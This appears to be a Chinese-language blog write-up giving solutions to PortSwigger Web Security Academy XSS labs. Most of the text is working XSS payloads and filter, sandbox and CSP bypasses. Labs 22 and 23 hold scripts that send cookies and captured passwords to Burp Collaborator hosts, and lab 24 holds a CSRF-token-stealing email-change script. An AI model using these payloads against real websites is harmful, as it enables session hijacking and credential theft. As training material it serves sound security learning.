Portswigger labs - XSS

lab1

<script>alert(1)</script>

在这里插入图片描述

lab2

在这里插入图片描述

lab3

搜索框中输入11后,f12查看位置,闭合img标签,插入script代码

在这里插入图片描述
1"><script>alert(1)</script><"

在这里插入图片描述

lab4

在这里插入图片描述
这里用searchMessage传参,innerHTML的使用导致不能使用script标签,以及svg标签
但是可以使用img标签或iframe
<img src=# onerror=alert(1)>

在这里插入图片描述

lab5

在这里插入图片描述
在这里插入图片描述

可以看出,returnPath传参,进入到a标签的href里面
在returnPath就后面输入javascript:alert(document.cookie) 点击back弹窗

在这里插入图片描述

lab6

在这里插入图片描述
查看源代码

<script>
      $(window).on('hashchange', function(){
      var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
      if (post) post.get(0).scrollIntoView();
      });
</script>
这段代码使用了 jQuery 库的 `$(window).on('hashchange'` 代码片段来监听浏览器 URL 中哈希标记的变化事件。
在哈希变化时,代码获取 URL 中哈希的值,并使用 `decodeURIComponent(window.location.hash.slice(1))` 将其解码。
然后,使用选择器 `$('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')')` 来查找具有相应文本内容的博客文章标题。
接下来,代码检查条件 `if (post)` 确保找到了匹配的博客文章标题。
最后,如果条件为真,则使用 `post.get(0).scrollIntoView()` 将浏览器滚动到找到的博客文章的位置。

在这里插入图片描述
本题需要我们用到print(),利用iframe自动加载xss
#<img src=# onerror=print()>
在这里插入图片描述

进入exploit server,post传入payload
<iframe src="https://0a9300d10400c5d083e44b4a00ba0063.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>

在这里插入图片描述

lab7

在这里插入图片描述
输入的标签被html实体编码了
这里可以用" onmouseover="alert(1) 完成闭合

在这里插入图片描述

lab8

进入后留言

在这里插入图片描述
发现留言板的website处会显示在a标签内
在这里插入图片描述
插入javascript:alert(1)
在这里插入图片描述

lab9

输入payload ‘-alert(1)-’, -可以替换为+,/,%,*,;
在这里插入图片描述

lab10

这里存在一个storeId,但是url中没有,我们添加参数storeId=test

在这里插入图片描述
写入test</option><script>alert(1)</script>

在这里插入图片描述
在这里插入图片描述

lab11

在这里插入图片描述
{{$on.constructor('alert(1)')()}},双层花括号在应对尖括号编码时非常有用
在这里插入图片描述

lab12

抓包添加引号测试

在这里插入图片描述
出现转义符,我们添加转义符把它的转义符转义
在这里插入图片描述
\"-alert(1)}//
在这里插入图片描述

lab13

源码中没发现利用点,在js文件中发现replace替换<>
在这里插入图片描述
<><img src=1 onerror=alert(1)>

lab14

在这里插入图片描述
此关有waf,需要测试那些标签可以用

将备忘录中的标签复制https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
用body标签继续测试
在这里插入图片描述
在这里插入图片描述
可以使用<body onresize="print()">

<iframe src="https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>

lab15

<script>
location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=<xss+id=x+οnfοcus=alert(document.cookie) tabindex=1>#x';
</script>
URL 中的查询参数 `search` 包含了一个 `<xss>` 元素,以及 `onfocus` 和 `tabindex` 属性。`onfocus` 属性是一个事件处理函数,当元素获得焦点时触发。在这个示例中,事件处理函数的代码是 `alert(document.cookie)`,它会在弹窗中显示当前页面的 cookie 值。同时,`tabindex` 属性用于设置该元素的键盘导航顺序。
#x 是一个哈希标记(hash),用于指定 URL 中的锚点(anchor)。在这个示例中, #x  的作用是在跳转到指定的页面时将页面滚动到具有  id="x"  的元素处。

将payload放到exploit server 中发送到目标即可

lab16

​还是用burp去测试备忘录中的事件和标签哪些可以用

"><svg><animatetransform onbegin=alert(1)>

lab18

在这里插入图片描述
直接闭合'</script>;<script>alert(1)</script>;'

lab19

\'-alert(1)//

lab20

在这里插入图片描述

留言板提交网址,http://'-alert(1)-',单引号需要html实体编码&apos;
http://&apos;-alert(1)-&apos;

lab21

在这里插入图片描述

${alert(1)}

lab22

<script>
fetch('https://3sw6aib65ekzwuv7r7s65masbjha59ty.oastify.com', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

在这里插入图片描述
拿到登录凭证,登录包填入
在这里插入图片描述

lab23

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://zhk2ze02ua9vlqk3g3h2uizo0f66u7iw.oastify.com',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

在这里插入图片描述

lab24

使用wiener:peter登录账户

在这里插入图片描述

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
这部分代码首先创建了一个 XMLHttpRequest 对象 req,用于向服务器发送异步请求。然后设置了一个回调函数 handleResponse,以处理响应。
接下来,通过 open 方法设置了 GET 请求,目标 URL 是 /my-account。最后使用 send 方法发送请求。

function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
};
这是 handleResponse 函数,定义了对服务器响应的处理。首先,从响应文本(responseText)中通过正则表达式匹配找到了一个名为 "csrf" 的隐藏字段的值,并将其赋给变量 token。然后,创建了一个新的 XMLHttpRequest 对象 changeReq,并使用 open 方法设置了 POST 请求,目标 URL 是 /my-account/change-email。最后,利用 send 方法发送 POST 请求的内容,包括 csrf 令牌和新的电子邮件地址。通过在恶意网站中注入这段代码,当用户在该网站中被诱导访问目标网站 /my-account 时,会通过 JavaScript 代码获取到目标网站的 CSRF 令牌,并模拟用户的请求来更改邮箱地址。

lab25

https://0a7a00c1041437b4800ddfaf00cf0078.web-security-academy.net/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
?search=1&toString().constructor.prototype.charAt%3d[].join;:这部分是 URL 查询参数,其中包含了恶意代码的注入。
search=1:这是常规的搜索参数,指示网站执行搜索操作。
toString().constructor.prototype.charAt%3d[].join;:这是恶意注入的 JavaScript 代码。这段代码的目的是修改 JavaScript 的原生函数 charAt 的实现,使其等于 join 函数,并将该函数作为排序操作(orderBy)的标志。
[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1:这是排序操作的一部分,用于刷新页面。在渗透测试中,这可以用于探测可能存在的注入漏洞或其他安全问题。

lab26

<script>
location='https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>
这段代码的目的是将浏览器重定向到指定的 URL。在这个 URL 中,使用了查询参数 search 来包含恶意的输入。
具体而言,URL 中的查询参数search包含了一个 <input> 元素标签,以及 ng-focus属性。ng-focus 属性是 AngularJS 框架的一部分,用于在元素获得焦点时触发特定的事件。
在这个示例中,ng-focus 属性值是一个 JavaScript 表达式:$event.composedPath()|orderBy:'(z=alert)(document.cookie)'。该表达式利用了 AngularJS 的 orderBy 过滤器,并利用了其中的不安全的参数注入,导致潜在的 XSS 漏洞。
在演示中,这段代码尝试通过触发 <input> 元素的焦点事件来执行一个 JavaScript 弹窗,其中包含了当前页面的 cookie 值。

lab27

https://0afe001204b164aa8070125e00fd00a7.web-security-academy.net/?search=<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>

lab28

https://0ac100be03a7a7a981ecd029005300fc.web-security-academy.net/post?postId=5&'},x=x=>{throw/**/οnerrοr=alert,1337},toString=x,window+'',{x:'
这个 URL 由两部分组成,以 post?postId=5&'} 开头。在这个示例中,postId 参数被设置为 5。
然后,在 URL 的另一部分中,有一段 JavaScript 代码:
'},x=x=>{throw/**/οnerrοr=alert,1337},toString=x,window+'',{x:'
这段代码定义了一个匿名函数 x,使用了箭头函数的语法。函数体里抛出了一个错误,并且设置了 onerror 事件处理函数为 alert方法。同时,使用了两个注释 /**/,1337 来绕过可能的注入检测。
接着是 toString=x,将函数 x赋值给 toString方法。然后使用 window+'' 的方式来将 window 对象转换成字符串

lab29

<script>
if(window.name) {
		new Image().src='//BURP-COLLABORATOR-SUBDOMAIN?' encodeURIComponent(window.name);
		} else {
     			location = 'https://YOUR-LAB-ID.web-security-academy.net/my-account?email="><a href="https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit">Click me</a><base target='';
}
</script>

lab30

https://YOUR-LAB-ID.web-security-academy.net/?search=<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'
在这个示例中,URL 包含了两个参数:`search` 和 `token`。
- `search` 参数被设置为 `<script>alert(1)</script>`,它是一个恶意的脚本代码片段。这段代码在页面加载时将弹出一个包含数字 1 的警告框(alert)。
- `token` 参数被设置为 `;script-src-elem 'unsafe-inline'`,这是一个看起来像是更改浏览器的 CSP(内容安全策略)的设置。`script-src-elem` 是 CSP 中的一个指令,用于控制是否允许在 HTML 元素中内联执行脚本代码。`'unsafe-inline'` 的设置表示允许在 HTML 元素中使用内联脚本(包括 `<script>` 标签中的代码)。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值